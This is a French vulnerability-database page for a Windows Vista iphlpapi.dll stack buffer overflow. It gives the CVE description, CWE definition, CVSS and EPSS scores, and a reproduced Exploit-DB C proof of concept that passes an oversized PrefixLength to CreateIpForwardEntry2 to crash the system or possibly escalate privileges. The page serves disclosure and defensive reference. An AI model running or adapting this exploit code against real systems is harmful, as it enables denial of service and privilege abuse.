CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Stack-based buffer overflow in Microsoft Device IO Control in iphlpapi.dll in Microsoft Windows Vista Gold and SP1 allows local users in the Network Configuration Operator group to gain privileges or cause a denial of service (system crash) via a large invalid PrefixLength to the CreateIpForwardEntry2 method, as demonstrated by a "route add" command. NOTE: this issue might not cross privilege boundaries.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
6.9
AV:L/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.22%
–
–
2022-02-27
–
–
2.22%
–
–
2022-04-03
–
–
2.22%
–
–
2022-04-10
–
–
2.22%
–
–
2022-09-18
–
–
2.22%
–
–
2023-03-12
–
–
–
0.05%
–
2024-01-07
–
–
–
0.05%
–
2024-03-24
–
–
–
0.05%
–
2024-04-21
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-06-09
–
–
–
0.05%
–
2024-08-25
–
–
–
0.05%
–
2024-12-08
–
–
–
0.05%
–
2024-12-22
–
–
–
0.06%
–
2025-01-19
–
–
–
0.06%
–
2025-01-19
–
–
–
0.06%
–
2025-03-18
–
–
–
–
1.11%
2025-03-30
–
–
–
–
1.29%
2025-03-30
–
–
–
–
1.29,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2008-11-18 23h00 +00:00 Auteur : Marius Wachtler EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/32357/info
// Microsoft Windows Vista is prone to a buffer-overflow vulnerability because of insufficient boundary checks.
// Local attackers could exploit this issue to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to execute arbitrary code with SYSTEM-level privileges, but this has not been confirmed.
// Windows Vista SP1 is vulnerable to this issue.
// UPDATE (November 25, 2008): Since this issue may be exploitable only by members of the administrative group, the security implication of this issue may be negated.
#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2ipdef.h>
#include <iphlpapi.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
DWORD dwStatus;
MIB_IPFORWARD_ROW2 route;
if (argc != 3)
{
printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
return -1;
}
InitializeIpForwardEntry(&route);
route.InterfaceIndex = atoi(argv[1]);
route.DestinationPrefix.Prefix.si_family = AF_INET;
route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0");
route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;
route.DestinationPrefix.PrefixLength = atoi(argv[2]);
route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");
route.NextHop.Ipv4.sin_family = AF_INET;
route.SitePrefixLength = 0;
route.Protocol = MIB_IPPROTO_NETMGMT;
route.Origin = NlroManual;
route.ValidLifetime = 0xffffffff;
route.PreferredLifetime = 0xffffffff;
route.Metric = 1;
dwStatus = CreateIpForwardEntry2(&route);
return dwStatus;
}